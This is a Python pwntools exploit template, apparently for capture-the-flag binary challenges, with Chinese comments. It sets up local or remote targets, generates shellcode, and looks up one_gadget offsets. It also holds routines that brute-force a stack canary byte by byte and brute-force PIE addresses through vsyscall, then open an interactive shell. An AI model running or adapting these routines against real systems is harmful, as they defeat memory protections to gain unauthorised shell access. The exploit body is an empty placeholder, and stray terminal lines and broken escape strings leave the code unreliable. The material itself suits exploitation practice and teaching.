#coding:utf-8
import sys
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"

### 远程本地连接
def ProLoc(elf_addr,libc_addr,pro_libc):
    global sh,elf,libc,one_ggs
    if len(sys.argv) > 1 :
        ip = sys.argv[1]
        prot = sys.argv[2]
        sh = remote(ip,prot)
        libc = pro_libc
    else:
        sh = process(elf_addr) 
    elf = ELF(elf_addr)
    libc = ELF(libc_addr)
    one_ggs = one_gadget(libc_addr)
### GDB调试
def debug(cmd=""):
    if len(sys.argv) == 1:
        gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
    if fw == 32:
        return asm(shellcraft.sh())
    elif fw == 64:
        return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(libc_addr):
    log.progress("Leak One_Gadgets...")
    path_to_libc=libc_addr
    gadget =[]
    for offset in generate_one_gadget(path_to_libc):
        gadget.append(int(offset))
    return gadget
    #one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
    success("info_success")								# 正确提示信息
    info("info_info")									# 提示信息
    info.progress("info_progress")						# 加载信息
    debug()												# 加载GDB调试
   	"""
   	...EXP...
   	
   	"""
    sh.interactive()
    
if __name__=="__main__":
    elf_addr = "./babyheap"                             # 本地ELF
    libc_addr = "/lib/x86_64-linux-gnu/libc.so.6"       # Libc文件
    pro_libc = ""										# 远程Libc文件
    ProLoc(elf_addr,libc_addr,pro_libc)
    exp()
    

➜  DA1SY python exp.py  									<= 本地
➜  DA1SY python exp.py 192.168.10.10 22520 					<= 远程 [Ip+Port]

### blasting_Canary
def blasting_canary(offset,input_prompt,fw):
    #距离canary的偏移量,输入提示,架构
    sh.recvuntil(input_prompt+'n')
    canary = 'x00'
    if fw =="32":
        for_num = 3
    else:
        for_num = 7
    for k in range(for_num):
        for i in range(256):
            success("Canary ->"+canary)
            log.info("-------------   No." + str(k) + ":" + chr(i)+"   -------------")
            #gdb.attach(sh)
            sh.send('A'*offset + canary + chr(i))
            recv = sh.recvuntil(input_prompt+"n")
            if "stack smashing detected" in recv:
                continue
            else:
                canary += chr(i)
                success("Canary =>"+canary)
                break
    return canary

# canary = blasting_canary(0x70-0x8,"Hello,Pwner!"，"64")

### blasting_PIE
def blasting_pie(last_1,last_2_1,tips):
    # 固定的最后1字节，固定的第3位，接收信息提示
    last_2 = ["x0"+last_2_1,"x1"+last_2_1,"x2"+last_2_1,"x3"+last_2_1,"x4"+last_2_1,"x5"+last_2_1,"x6"+last_2_1,"x7"+last_2_1,"x8"+last_2_1,"x9"+last_2_1,"xa"+last_2_1,"xb"+last_2_1,"xc"+last_2_1,"xd"+last_2_1,"xe"+last_2_1,"xf"+last_2_1]
    vsyscall = 0xffffffffff600000
    for k in range(200):
        log.info("Blow up the end of PIE No."+str(k))
        for i in last_2:
            payload = "A"*(0x70-0x8) + canary
            payload += p64(vsyscall)*k+last_1+i
            try:  
                #gdb.attach(sh)
                sh.send(payload)
                recv = sh.recvline()
                if tips in recv :
                    continue
                else:
                    sh.interactive()
                    break
            except KeyboardInterrupt:
                #当程序卡住不动时，CTRL+C
                sh.interactive()
            except:
                continue
                
# blasting_pie("x33","xa","hello")